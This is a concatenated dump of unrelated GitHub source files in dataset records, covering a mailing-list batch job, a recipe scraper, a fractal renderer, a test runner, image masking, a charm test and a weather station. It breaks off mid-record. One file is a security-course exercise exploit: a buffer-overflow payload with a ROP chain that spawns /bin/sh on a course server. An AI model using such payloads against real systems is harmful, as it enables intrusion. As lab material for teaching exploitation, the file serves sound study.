submit_job(self, job, json_output=None):\n with tempfile.NamedTemporaryFile(suffix=\".txt\") as fh:\n for item in job.get_data():\n subscribe = item.pop(\"subscribe\", True)\n try:\n st_item = {\n \"email\": item.pop(\"email\"),\n \"lists\": item.pop(\"lists\"),\n \"vars\": item,\n }\n except KeyError:\n continue\n json_data = json.dumps(st_item, default=_encoder_default)\n print(json_data, file=fh)\n if json_output:\n print(json_data, file=json_output)\n fh.seek(0)\n response = self.api.api_post(\"job\", {\n \"job\": \"update\",\n # This looks a bit weird, but it's how the sailthru library\n # works\n \"file\": fh.name,\n }, [\"file\"])\n if not response.is_ok():\n error = response.get_error()\n raise ExportFailed(error.message, error.code)\n data = response.response.json\n # Sometimes we just get {'job': 'update'} from the backend\n # Other times we get {u'status': u'pending', u'update': [],\n # u'job_id': u'something', u'name': u'Bulk Update'}\n # Dunno why...\n job.status = BatchStatus.from_api_text(data.get(\"status\", \"pending\"))\n job.remote_id = data.get('job_id')\n job.submitted = timezone.now()\n job.save()\n\n def check_status(self, job):\n response = self.api.api_get(\"job\", {\"job_id\": job.remote_id})\n if not response.is_ok():\n error = response.get_error()\n raise PollFailed(error.message, error.code)\n data = response.response.json\n job.status = BatchStatus.from_api_text(data[\"status\"])\n if \"start_time\" in data and data[\"start_time\"]:\n # TODO: Is this wasteful? We should keep the start time the same\n # between local and remote...\n job.submitted = date_parse(data[\"start_time\"])\n if \"end_time\" in data and data[\"end_time\"]:\n job.completed = date_parse(data[\"end_time\"])\n job.save()\n return job.status\n","repo_name":"codeadict/ecomarket","sub_path":"apps/mailing_lists/batch.py","file_name":"batch.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"15526699270","text":"#/usr/bin/pyhton3\n\nfrom requests import get\nfrom bs4 import BeautifulSoup, element, NavigableString\nimport re\n#html = \"https://tasty.co/recipe/apple-pie-from-scratch\"\n#response = get(html).text\nprint(\"Gotten response\")\n\nf = open(\"/home/marc/Documents/python/waterrecipe/pages/tasty.co.html\")\n\nprint(\"Finished parsing\")\n\ndef tag_visible(elem):\n\tif elem.parent.name in ['style', 'script', 'head', 'title', 'meta', '[document]', 'article']:\n\t\treturn 0 \n\tif isinstance(elem, element.Comment):\n\t\treturn 0\n\tif elem == \"\\n\" or elem.strip() == \"\":\n\t\treturn 0\n\treturn 1\n\ndef applyFormatting(elem):\n\t# formatting\n\telem = re.sub(\" +\", \" \", elem)\n\treturn elem\n\ndef text_from_html(body):\n\tsoup = BeautifulSoup(body, 'html.parser')\n\ttexts = soup.findAll(text=True)\n\tvisible_texts = map(applyFormatting, filter(tag_visible, texts)) \n\treturn [t.strip() for t in visible_texts]\n\nprint(text_from_html(f))\n\n#\tfor found in founds:\n#\tif type(found) is element.Tag and \"ingredient\" in str(found.attrs):\n##\t\tprint(found)\n#\t\tfor child in found.descendants:\n#\t\t\tif type(child) is NavigableString and child != \"\\n\":\n#\t\t\t\tprint(child)\n","repo_name":"wenzlawski/py-recipe-extractor","sub_path":"htmltotext.py","file_name":"htmltotext.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"22682273953","text":"import taichi as ti\nimport numpy as np\nfrom mandelbrot import MAX_ITER\n\n\n\nti.init(arch=ti.gpu,default_fp=ti.f64)\n\nn = 1000\nEPS=0.000001\nMAX_ITER=40\n\nSHAPE_SCENE = (n,n)\n\npixels = ti.Vector.field(3, dtype=ti.f64, shape=SHAPE_SCENE)\ngui = ti.GUI(\"Newton's Fractal\", res=SHAPE_SCENE)\n\n\n@ti.func\ndef complex_sqr(z):\n return ti.Vector([z[0]**2 - z[1]**2, z[1] * z[0] * 2])\n@ti.func\ndef complex_cube(z):\n return ti.Vector([z[0]**3 - 3*z[0]*z[1]**2, 3*z[0]**2*z[1] - z[1]**3])\n@ti.func\ndef complex_divide(z, w):\n # return z / w, z and w complex vectors\n return ti.Vector([(z[0]*w[0] + z[1]*w[1])/(w[0]**2 + w[1]**2), (z[1]*w[0] - z[0]*w[1])/(w[0]**2 + w[1]**2)])\n# polynomials\n@ti.func\ndef pz(z):\n return complex_cube(z) - ti.Vector([1.0,0.0])\n@ti.func \ndef dpz(z):\n return 3.0*complex_sqr(z)\n@ti.func\ndef newton_method(z):\n return complex_divide(pz(z),dpz(z))\n@ti.func\ndef complex_abs(z):\n return ti.sqrt(z[0]**2 + z[1]**2)\n\n\n# 3 complex roots of x^3 - 1 = 0\nroots = ti.Matrix([[1.0, 0.0], [-0.5, 0.86603],[-0.5, -0.86603]])\n\n\ncolor_root_from_index = {0: ti.Vector([0,0,255]),\n 1: ti.Vector([0,255,0]),\n 2: ti.Vector([255,0,0]),\n 3: ti.Vector([0,0,0])}\n\ncolor_root_1 = ti.Vector([0,0,255])\ncolor_root_2 = ti.Vector([0,255,0])\ncolor_root_3 = ti.Vector([255,0,0])\ncolor_root_4 = ti.Vector([255,255,255])\n\n\n\n@ti.kernel\ndef test(t: float):\n for _ in range(1):\n #test complex cube (result is (-81,-52))\n print(complex_cube(ti.Vector([3,-3.45]))-ti.Vector([1.0,0.0]))\n # text complex sqr (result is (-8.70,-62.1))\n print(3*complex_sqr(ti.Vector([3,-3.45])))\n # test complex divide (result is (-1.11,0.0111))\n print(complex_divide(ti.Vector([3.3,-3.4]), ti.Vector([-3.0,3.0])))\n\n roots = ti.Matrix([[1.0, 0.0], [-0.5, 0.86603],[-0.5, -0.86603]])\n z = ti.Vector([2.0,3.3])\n z = ti.cast(z, ti.f64)\n for o in ti.static(range(10)):\n z = z - newton_method(z)\n print(z)\n for ii in ti.static(range(3)):\n root = ti.Vector([roots[ii,0],roots[ii,1]])\n print((z - root).norm(), EPS)\n if complex_abs(z-root) < EPS:\n print(ii,z,color_root_from_index[ii],'EAE')\n \n@ti.kernel\ndef test_paint(t: float):\n for i,j in pixels: # Parallelized over all pixels\n coords = [((i*3.0) / n) - 2.0, ((j*3.0) / n) -1.5]\n if(i==0 and j==0):\n print(i,j,coords)\n if(i==n-1 and j==n-1):\n print(i,j,coords)\n \n@ti.kernel\ndef paint(t: float):\n for i, j in pixels: # Parallelized over all pixels\n c = ti.Vector([-0.66* ti.sin(t), ti.cos(t) * 0.02])\n z = ti.Vector([((i*3.0) / n) -2.0, ((j*3.0) / n) -1.5]) \n iterations = 0\n not_converged = True\n while not_converged: \n term = newton_method(z) + c \n z-=(term) \n not_converged = complex_abs(term) > EPS\n iterations += 1\n if(iterations > MAX_ITER):\n break\n if not not_converged:\n \n min = complex_abs(z-ti.Vector([roots[0,0],roots[0,1]]))\n index = 0\n if complex_abs(z-ti.Vector([roots[1,0],roots[1,1]])) < min:\n min = complex_abs(z-ti.Vector([roots[1,0],roots[1,1]]))\n index = 1\n if complex_abs(z-ti.Vector([roots[2,0],roots[2,1]])) < min:\n min = complex_abs(z-ti.Vector([roots[2,0],roots[2,1]]))\n index = 2\n\n #print(z,iterations, min)\n # WHAT THE FUCK IS THIS\n\n if index==0:\n pixels[i, j] = color_root_1 * ((MAX_ITER-iterations*0.10)/MAX_ITER) \n elif index==1:\n pixels[i, j] = color_root_2 * ((MAX_ITER-iterations*0.10)/MAX_ITER)\n elif index==2:\n pixels[i, j] = color_root_3 * ((MAX_ITER-iterations*0.10)/MAX_ITER)\n\n else:\n pixels[i,j] = color_root_4 * ((MAX_ITER-iterations*0.10)/MAX_ITER)\n\n\n\n\nmake_video = False\n\nif(make_video):\n result_dir = \"./results\"\n video_manager = ti.VideoManager(output_dir=result_dir, framerate=24, automatic_build=False)\n\n\n\nfor i in range(1000):\n paint(i * 0.03)\n if not make_video:\n gui.set_image(pixels)\n gui.show()\n else:\n pixels_img = pixels.to_numpy()\n video_manager.write_frame(pixels_img)\n print(f'\\rFrame {i+1}/50 is recorded', end='')\n\nif make_video:\n print()\n print('Exporting .mp4 and .gif videos...')\n video_manager.make_video(gif=True, mp4=True)\n print(f'MP4 video is saved to {video_manager.get_output_filename(\".mp4\")}')\n print(f'GIF video is saved to {video_manager.get_output_filename(\".gif\")}')","repo_name":"ThiagoLira/NewtonFractalTaichi","sub_path":"newton_taichi.py","file_name":"newton_taichi.py","file_ext":"py","file_size_in_byte":4788,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"39492317986","text":"import os\nimport subprocess\nimport argparse\nimport sys\nimport multiprocessing\nimport logging\nfrom datetime import datetime\nfrom prettytable import PrettyTable\n\nexec_dict = {\n \"test_multiply_vector\" : \"multiply_vector\",\n \"test_add_vector\" : \"add_vector\"\n}\n\nsrc_path = [\n \"vector_mult\",\n \"vector_add\"\n]\n\nscript_dir = os.path.dirname(os.path.abspath(__file__))\ntc_file = \"testcases\"\nlog_file = \"\"\n\n# Stats for testcases\nrun = 0\nfailed = 0\npassed = 0\nnon_zero = 0\n\nfailed_testcase = list()\n\ndef print_summary():\n table = PrettyTable()\n table.field_names = [\"TC Info\", \"#\"]\n table.add_row([\"Total TCs\", run])\n table.add_row([\"Passed\", passed])\n table.add_row([\"Failed\", failed])\n table.add_row([\"Non-Zero returns\", non_zero])\n \n table_str = str(\"Testsuite summary:\\n\" + str(table))\n \n print(table_str)\n logging.info(table_str)\n \n print(\"Failed Test Cases : \", failed_testcase)\n logging.info(str(\"Failed Test Cases : \" + str(failed_testcase)))\n return\n \n\ndef run_command(command):\n try:\n result = subprocess.run(command, \n stdout=subprocess.PIPE, \n stderr=subprocess.PIPE, \n check=True, text=True)\n \n except subprocess.CalledProcessError as e:\n return_code = e.returncode\n stderr = e.stderr\n\n print(f\"{command} command failed with exit code: {return_code}\")\n print(f\"Standard Error:\\n{stderr}\")\n logging.error(f\"{command} stderr:\\n%s\", stderr.encode().decode())\n logging.error(f\"{command} exited with non-zero status code: {e.returncode}\")\n logging.error(\"Exiting!\")\n sys.exit(-1) \n \n return result\n\ndef initialize_logging():\n global log_file\n timestamp = datetime.now().strftime(\"%d%m%y_%H%M%S\")\n # Construct the log file name\n log_file = f\"logs_{timestamp}.txt\"\n \n # Configure logging\n logging.basicConfig(filename=log_file, \n level=logging.INFO, \n format='%(asctime)s - %(levelname)s - %(message)s')\n\ndef read_testcases(tc_file, testcase):\n testcases = dict()\n lines = list()\n \n testcase = testcase if testcase else 'test'\n \n with open(tc_file) as f:\n lines = f.read().splitlines()\n \n for line in lines:\n if line.startswith(testcase):\n line = line.split(' ')\n else:\n continue\n \n # key maps to test executable\n # value is the argument to be passed\n key = exec_dict[line[0]]\n value = line[1]\n \n if key in testcases:\n testcases[key].append(value)\n else:\n testcases[key] = [value]\n \n print(testcases)\n return testcases\n\ndef setup_ws():\n build_dirs = list()\n \n for src_dir in src_path:\n src_dir = os.path.abspath(os.path.join(script_dir, os.pardir, src_dir))\n print(\"Source dir :\", src_dir)\n\n build_dirs.append(os.path.join(src_dir, 'build'))\n print(build_dirs)\n \n if os.path.exists(src_dir):\n os.chdir(src_dir)\n logging.info(f\"Switched to directory '{src_dir}'\")\n else:\n print(f\"Target directory '{src_dir}' does not exist.\")\n logging.error(f\"Target directory '{src_dir}' does not exist.\")\n sys.exit(-1)\n \n # Run cmake to configure the build\n cmake_command = [\"cmake\", src_dir]\n rc = run_command(cmake_command)\n \n return_code = rc.returncode\n stdout = rc.stdout\n\n print(f\"CMake returned with exit code: {return_code}\")\n print(f\"Standard Output:\\n{stdout}\")\n logging.info(f\"CMake completed successfully! {src_dir}\")\n logging.info(f\"CMake stdout:\\n%s\", stdout.encode().decode())\n \n\n # Run make to build the project\n make_command = [\"make\"]\n rc = run_command(make_command)\n \n return_code = rc.returncode\n stdout = rc.stdout\n\n print(f\"Make returned with exit code: {return_code}\")\n print(f\"Standard Output:\\n{stdout}\")\n logging.info(f\"Make completed successfully! {src_dir}\")\n logging.info(f\"Make stdout:\\n%s\", stdout.encode().decode())\n\n return build_dirs\n\ndef run_single_test(executable, arg):\n logging.info(f\"Running Test '{executable} {arg}'\")\n print((f\"Running Test '{executable} {arg}'\"))\n\n rc = 0\n \n '''\n TODO -\n - Look for unwanted outputs \"Outputs don't match\"\n - Look for non-zero return codes\n '''\n test_command = [executable, str(arg)]\n result = run_command(test_command)\n\n # Capture and log standard output\n stdout = result.stdout.strip()\n if stdout:\n logging.info(f\"Test '{executable} {arg}' \\n{stdout}\")\n\n # Capture and log standard error\n stderr = result.stderr.strip()\n if stderr:\n logging.error(f\"Test '{executable} {arg}' \\n{stderr}\")\n\n # Put assert check here\n # Step 1\n if result.returncode != 0:\n rc = 1\n # print(f\"Test '{executable} {arg}' returned Non-Zero rc : {result.returncode}\")\n logging.info(f\"Test '{executable} {arg}' returned Non-Zero rc : {result.returncode}\")\n print(f\"Test '{executable} {arg}' returned Non-Zero rc : {result.returncode}\")\n return rc\n else:\n print(f\"Test '{executable} {arg}' passed step 1\")\n logging.info(f\"Test '{executable} {arg}' passed step 1\")\n \n failed_output = \"don't match\"\n if stdout.find(failed_output) == -1:\n rc = 0\n print(f\"Test '{executable} {arg}' passed\")\n logging.info(f\"Test '{executable} {arg}' passed\")\n else:\n rc = -1\n failed_testcase.append(test_command)\n logging.info(f\"Test '{executable} {arg}' failed\")\n assert False, f\"Test '{executable} {arg}' failed\"\n \n return rc\n\ndef run_tests(testcases, build_dirs):\n max_processes = multiprocessing.cpu_count()\n pool = multiprocessing.Pool(processes=max_processes)\n running_processes = list()\n global run\n global passed\n global failed\n global non_zero\n\n for (executable, args), path in zip(testcases.items(), build_dirs):\n logging.info(f\"Running Test '{executable}'\")\n \n exec_path = os.path.join(path, executable)\n \n for arg in args:\n run += 1\n # Check if we have reached the maximum number of concurrent processes\n while len(running_processes) >= max_processes:\n # Wait for a process to finish before adding a new one\n finished_process = multiprocessing.Process(target=lambda: None)\n finished_process.start()\n finished_process.join()\n running_processes.pop(0)\n\n # Start a new process for the test\n process = pool.apply_async(run_single_test, (exec_path, arg))\n running_processes.append(process)\n \n rc = process.get()\n if rc == 0:\n passed += 1\n elif rc == -1:\n failed += 1\n else:\n non_zero += 1\n \n logging.info(f\"Finished Test '{executable}'\")\n\n # Wait for all processes to complete\n for process in running_processes:\n process.wait()\n\n # Close the pool\n pool.close()\n pool.join()\n \n print_summary()\n\n logging.info(\"All tests have been run\")\n return\n\ndef clean(build_dirs):\n for src_dir in build_dirs:\n ws = os.path.dirname(os.path.abspath(src_dir))\n \n if os.path.exists(ws):\n os.chdir(ws)\n logging.info(f\"Switched to directory '{ws}'\")\n else:\n print(f\"Target directory '{ws}' does not exist.\")\n logging.error(f\"Target directory '{ws}' does not exist.\")\n \n clean_command = [\"make\", \"clean_all\"]\n result = run_command(clean_command)\n \n return_code = result.returncode\n stdout = result.stdout\n \n print(f\"make clean_all command returned with exit code: {return_code}\")\n print(f\"Standard Output:\\n{stdout}\")\n logging.info(\"Workspace cleaned successfully\")\n logging.info(\"Make stdout:\\n%s\", stdout.encode().decode())\n \n return\n \n\ndef main(args):\n initialize_logging()\n testcases_path = os.path.join(script_dir, \"testcases\")\n \n if args.testcase is not None:\n if args.testcase not in exec_dict:\n logging.error(f\"No TCs found for `{args.testcase}`\")\n sys.exit(-1)\n \n logging.info(f\"Registering testcases from `{testcases_path}`\")\n testcases = read_testcases(testcases_path, args.testcase)\n logging.info(f\"Testcases registered successfully!\")\n \n logging.info(f\"Setting up the workspace\")\n \n build_dirs = setup_ws()\n print(build_dirs)\n \n # if arg.all then run all testcases\n # if specific group mentioned then run TC\n logging.info(f\"Running testcases\")\n run_tests(testcases, build_dirs)\n \n if args.clean:\n clean(build_dirs)\n \n return\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n \n '''\n Usage - \n - ./test.py --testcase testcase_name --clean\n - ./test.py --testcase test_multiply_vector --clean\n - ./test.py --clean\n '''\n \n parser.add_argument('-t','--testcase', help=\"Testcase - defined in ./testcases\")\n parser.add_argument('-A', '--all', help=\"Run all the testsuits\", action='store_true')\n parser.add_argument('-c', '--clean', help=\"Clean the workspace\", action='store_true')\n \n args = parser.parse_args()\n \n if args.testcase is not None and args.all:\n parser.error(\"You cannot specify --testcase and --all arguments simultaneously.\")\n \n main(args)\n print(f\"Logs written to {log_file}\")","repo_name":"adityasahu01/MPI_Projects","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":9820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10268545415","text":"# Задача 2. Написать программу, которая будет удалять все слова в которых есть \"абв\"\n\n# Ввод:\n# привет приаб приабвет\n# Вывод:\n# привет приаб\n\nlist = [i for i in input('Введите строку: ').split()]\nnew_list = []\nfor i in list:\n if 'абв' not in i:\n new_list.append(i)\n\nprint(*new_list)\n\nfor i in range(len(list)):\n if 'абв' in list[i]:\n list.pop(i)\n i -= 1\nprint(*list)\n\n\n","repo_name":"Dimakravchenko1989/Stminars-Python","sub_path":"Seminar_5/Задача_2.py","file_name":"Задача_2.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73026949159","text":"\n\n\n__all__ = ['get_mask']\n\nfrom ..core import ants_image as iio\nfrom .threshold_image import threshold_image\nfrom .label_clusters import label_clusters\nfrom .iMath import iMath\nfrom .. import utils\n\n\ndef get_mask(image, low_thresh=None, high_thresh=None, cleanup=2):\n \"\"\"\n Get a binary mask image from the given image after thresholding\n\n ANTsR function: `getMask`\n\n Arguments\n ---------\n image : ANTsImage\n image from which mask will be computed. Can be an antsImage of 2, 3 or 4 dimensions.\n\n low_thresh : scalar (optional)\n An inclusive lower threshold for voxels to be included in the mask.\n If not given, defaults to image mean.\n\n high_thresh : scalar (optional)\n An inclusive upper threshold for voxels to be included in the mask.\n If not given, defaults to image max\n\n cleanup : integer\n If > 0, morphological operations will be applied to clean up the mask by eroding away small or weakly-connected areas, and closing holes.\n If cleanup is >0, the following steps are applied\n 1. Erosion with radius 2 voxels\n 2. Retain largest component\n 3. Dilation with radius 1 voxel\n 4. Morphological closing\n\n Returns\n -------\n ANTsImage\n\n Example\n -------\n >>> import ants\n >>> image = ants.image_read( ants.get_ants_data('r16') )\n >>> mask = ants.get_mask(image)\n \"\"\"\n cleanup = int(cleanup)\n if isinstance(image, iio.ANTsImage):\n if image.pixeltype != 'float':\n image = image.clone('float')\n\n if low_thresh is None:\n low_thresh = image.mean()\n if high_thresh is None:\n high_thresh = image.max()\n\n mask_image = threshold_image(image, low_thresh, high_thresh)\n if cleanup > 0:\n mask_image = iMath(mask_image, 'ME', cleanup)\n mask_image = iMath(mask_image, 'GetLargestComponent')\n mask_image = iMath(mask_image, 'MD', cleanup)\n mask_image = iMath(mask_image, 'FillHoles').threshold_image( 1, 2 )\n while ((mask_image.min() == mask_image.max()) and (cleanup > 0)):\n cleanup = cleanup - 1\n mask_image = threshold_image(image, low_thresh, high_thresh)\n if cleanup > 0:\n mask_image = iMath(mask_image, 'ME', cleanup)\n mask_image = iMath(mask_image, 'MD', cleanup)\n mask_image = iMath(mask_image, 'FillHoles').threshold_image( 1, 2 )\n\n #if cleanup == 0:\n # clustlab = label_clusters(mask_image, 1)\n # mask_image = threshold_image(clustlab, 1, 1)\n\n return mask_image\n","repo_name":"ANTsX/ANTsPy","sub_path":"ants/utils/get_mask.py","file_name":"get_mask.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"en","doc_type":"code","stars":499,"dataset":"github-code","pt":"18"} +{"seq_id":"37115843029","text":"#!/usr/bin/env python3\n\nimport socket\nimport telnetlib\nfrom time import sleep\n\nimport struct\n# This could be useful for solving this exercise ;)\n# struct.pack(\"<Q\", 1337)\n\nropChain = [\n\t0x761140, # pop rax; ret\n\t0x3b, #value in rax\n\t0x131140, # pop rdi; ret\n\t0x082040, # value in rdi (pointer to /bin/sh string)\n\t0x781140, # pop rdx; ret\n\t0x00, # value in rdx\n\t0x111340, # pop rsi, pop r15, ret\n\t0x00, # value in rsi\n\t0x00, # value in r15\n\t0x7a1140 #syscall\n]\n\ns= socket.socket()\ns.connect((\"itsec.sec.in.tum.de\", 7082))\n# Your exploit goes here\nprint(s.recv(1000))\ns.send(b\"-1\\n\")\nprint(s.recv(100))\nprint(s.recv(100))\n\nropChainBytes = b''\nfor elem in ropChain:\n\tropChainBytes += struct.pack(\"<Q\", elem)\n\npayload = (20*\"A\"+42*\"B\").encode()+ropChainBytes+b\"\\n\" \n\nprint(payload)\ns.send(payload)\n\nsleep(1)\ns.send(b\"/bin/flag\\n\")\nprint(s.recv(1000))\nprint(s.recv(1000))","repo_name":"cato447/IT-Sec","sub_path":"woche11/Task26/pwn_students.py","file_name":"pwn_students.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73495171880","text":"import unittest\nfrom unittest.mock import Mock\n\nfrom charm import SampleWorkloadCharm\nfrom ops.model import ActiveStatus\nfrom ops.testing import Harness\n\n\nclass TestCharm(unittest.TestCase):\n def setUp(self):\n self.harness = Harness(SampleWorkloadCharm)\n self.addCleanup(self.harness.cleanup)\n self.harness.begin()\n\n def test_config_changed(self):\n self.assertEqual(self.harness.charm.model.config[\"wp-debug\"], \"\")\n self.harness.update_config({\"wp-debug\": \"1\"})\n self.assertEqual(self.harness.charm.model.config[\"wp-debug\"], \"1\")\n\n def test_action(self):\n # the harness doesn't (yet!) help much with actions themselves\n action_event = Mock(params={\"fail\": \"\"})\n self.harness.charm._on_fortune_action(action_event)\n\n self.assertTrue(action_event.set_results.called)\n\n def test_action_fail(self):\n action_event = Mock(params={\"fail\": \"fail this\"})\n self.harness.charm._on_fortune_action(action_event)\n\n self.assertEqual(action_event.fail.call_args, [(\"fail this\",)])\n\n def test_wordpress_pebble_ready(self):\n # Check the initial Pebble plan is empty\n initial_plan = self.harness.get_container_pebble_plan(\"wordpress\")\n self.assertEqual(initial_plan.to_yaml(), \"{}\\n\")\n # Expected plan after Pebble ready with default config\n expected_plan = {\n \"services\": {\n \"wordpress\": {\n \"override\": \"replace\",\n \"summary\": \"wordpress\",\n \"command\": \"docker-entrypoint.sh apache2-foreground\",\n \"startup\": \"enabled\",\n \"environment\": {\n \"WP_DEBUG\": self.harness.charm.model.config[\"wp-debug\"],\n \"WP_DATABASE_HOST\": self.harness.charm._stored.db_config[\"host\"],\n \"WP_DATABASE_USER\": self.harness.charm._stored.db_config[\"user\"],\n \"WP_DATABASE_PASSWORD\": self.harness.charm._stored.db_config[\n \"password\"\n ],\n \"WP_DATABASE_NAME\": self.harness.charm._stored.db_config[\"name\"],\n },\n }\n },\n }\n # Get the wordpress container from the model\n container = self.harness.model.unit.get_container(\"wordpress\")\n # Emit the PebbleReadyEvent carrying the wordpress container\n self.harness.charm.on.wordpress_pebble_ready.emit(container)\n # Get the plan now we've run PebbleReady\n updated_plan = self.harness.get_container_pebble_plan(\"wordpress\").to_dict()\n # Check we've got the plan we expected\n self.assertEqual(expected_plan, updated_plan)\n # Check the service was started\n service = self.harness.model.unit.get_container(\"wordpress\").get_service(\n \"wordpress\"\n )\n self.assertTrue(service.is_running())\n # Ensure we set an ActiveStatus with no message\n self.assertEqual(self.harness.model.unit.status, ActiveStatus())\n","repo_name":"berkayoz/charm-sample-workload","sub_path":"tests/test_charm.py","file_name":"test_charm.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1941612754","text":"import dht\nimport framebuf\nimport network\nimport ntptime\n\nfrom config import wifi_config\nfrom machine import Pin, SoftI2C, RTC\nfrom ssd1306 import SSD1306_I2C\nfrom time import sleep\n\n# Network\nsta_if = network.WLAN(network.STA_IF)\nsta_if.active(True)\nsta_if.scan()\nsta_if.connect(wifi_config['ssid'], wifi_config['password'])\nwhile not sta_if.isconnected():\n pass\n\n# Time\nntptime.settime()\nrtc = RTC()\ndatetime = rtc.datetime()\n# Configure Timezone\nrtc.datetime([datetime[0], datetime[1], datetime[2], datetime[3], datetime[4] + 1, datetime[5], datetime[6], datetime[7]])\n\n# Display, using default address 0x3C\ni2c = SoftI2C(sda=Pin(4), scl=Pin(5))\ndisplay = SSD1306_I2C(128, 64, i2c)\n\n# DHT11\npin = machine.Pin(2, machine.Pin.IN, machine.Pin.PULL_UP)\ndht = dht.DHT11(pin)\n\n# Plotting\ndatenpunkte = [0] * 95\nindex = 1\nnow = 123\nvon_bereich = (10, 35)\nnach_bereich = (63, 12)\n\n# Smileys\nsad = bytearray(b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\xf8\\x00\\x00\\x00\\x7f\\xfc\\x00\\x00\\x00\\xff\\xff\\x80\\x00\\x01\\xff\\xff\\xe0\\x00\\x03\\xff\\xff\\xf0\\x00\\x0f\\xff\\xff\\xfc\\x00\\x0f\\xff\\xff\\xfc\\x00\\x0c\\xf9\\xe7\\xcc\\x00\\x1f\\xff\\xff\\xfe\\x00\\x3f\\x87\\xf8\\x7f\\x00\\x3f\\xff\\xff\\xff\\x00\\x3f\\xff\\xff\\xff\\x00\\x3f\\xff\\xff\\xff\\x00\\x3f\\xff\\xff\\xff\\x00\\x3f\\xf8\\x07\\xff\\x00\\x1f\\xff\\xff\\xfe\\x00\\x0f\\xe7\\xf9\\xfc\\x00\\x0f\\x9f\\xfe\\x7c\\x00\\x0f\\x9f\\xfe\\x7c\\x00\\x03\\xff\\xff\\xf0\\x00\\x01\\xff\\xff\\xe0\\x00\\x00\\xff\\xff\\xc0\\x00\\x00\\x7f\\xff\\x80\\x00\\x00\\x07\\xf8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\nhappy = bytearray(b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\xf8\\x00\\x00\\x00\\x7f\\xfc\\x00\\x00\\x00\\xff\\xff\\x80\\x00\\x01\\xff\\xff\\xe0\\x00\\x03\\xff\\xff\\xf0\\x00\\x0c\\x01\\xe0\\x0c\\x00\\x0c\\x01\\xe0\\x0c\\x00\\x03\\xfe\\x1f\\xf0\\x00\\x13\\xfe\\x1f\\xf2\\x00\\x33\\xfe\\x1f\\xf3\\x00\\x3c\\xf9\\xe7\\xcf\\x00\\x3c\\x79\\xe7\\x8f\\x00\\x3f\\x87\\xf8\\x7f\\x00\\x3f\\x87\\xf8\\x7f\\x00\\x3f\\xff\\xff\\xff\\x00\\x1f\\xff\\xff\\xfe\\x00\\x0f\\xe0\\x01\\xfc\\x00\\x0f\\xff\\xff\\xfc\\x00\\x0f\\xff\\xff\\xfc\\x00\\x03\\xff\\xff\\xf0\\x00\\x01\\xff\\xff\\xe0\\x00\\x00\\xff\\xff\\xc0\\x00\\x00\\x7f\\xff\\x80\\x00\\x00\\x07\\xf8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\n\ndef measure_dht():\n dht.measure()\n temp = dht.temperature()\n humidity = dht.humidity()\n return temp, humidity\n\ndef display_time(time):\n display.fill(0)\n display.text(time, 0, 0, 1)\n\ndef display_dht(temp, humidity):\n temp = f\"{temp} C\"\n humidity = f\"{humidity} %\"\n display.text(temp, 95, 12, 1)\n display.text(humidity, 95, 24, 1)\n \ndef plot():\n for i in range(1, 94):\n if datenpunkte[i] == 0:\n pass\n else:\n y = map_data(datenpunkte[i])\n display.pixel(i, y, 1)\n display.pixel(i, y+1, 1)\n display.hline(0, 63, 95, 1)\n display.vline(0, 12, 51, 1)\n \ndef update_plot(temp):\n global index\n if index <= 94:\n datenpunkte[index] = temp\n index += 1\n if index == 95:\n datenpunkte.pop(0)\n datenpunkte[94] = temp\n \ndef map_data(x):\n von_bereich = (10, 35)\n nach_bereich = (63, 12)\n # Stellen Sie sicher, dass x im von_bereich liegt\n x = max(min(x, von_bereich[1]), von_bereich[0])\n # Berechnen Sie den prozentualen Anteil von x im von_bereich\n prozentualer_anteil = (x - von_bereich[0]) / (von_bereich[1] - von_bereich[0])\n # Verwenden Sie den prozentualen Anteil, um den Wert im nach_bereich zu bestimmen\n zielwert = int(nach_bereich[0] + prozentualer_anteil * (nach_bereich[1] - nach_bereich[0]))\n return zielwert\n\ndef smiley(temp, humidity):\n if temp <= 16 or temp >= 20:\n image = sad\n elif humidity <= 30 or humidity >= 60:\n image = sad\n else:\n image = happy\n fb = framebuf.FrameBuffer(image, 34, 28, framebuf.MONO_HLSB)\n display.blit(fb, 95, 36)\n display.show()\n \nwhile True:\n try:\n datetime = rtc.datetime()\n time = f\"{datetime[2]:02d}.{datetime[1]:02d}.{datetime[0]} {datetime[4]:02d}:{datetime[5]:02d}\"\n display_time(time)\n temp, humidity = measure_dht()\n display_dht(temp, humidity)\n if now == 123:\n update_plot(temp)\n now = datetime[5]\n next_execution = now + 15\n elif now == next_execution:\n update_plot(temp)\n next_execution = now + 15\n now = datetime[5]\n plot()\n smiley(temp, humidity)\n sleep(30)\n except OSError:\n print('Failed to read sensor.')\n\n","repo_name":"PaulusElektrus/Simple-Indoor-Weather-Station","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4358,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37011134685","text":"\"\"\"\nripples.py\n==========\nCreate space-filling ripple effects.\n\n\"\"\"\n\nimport numpy as np\nfrom typing import Union, Tuple, Dict, List, Sequence\n\nfrom ..main import add_margin\nfrom ..geom import rotated_point, rad, endpoint, distance\nfrom ..param import fixed_value\nfrom ..shapes import 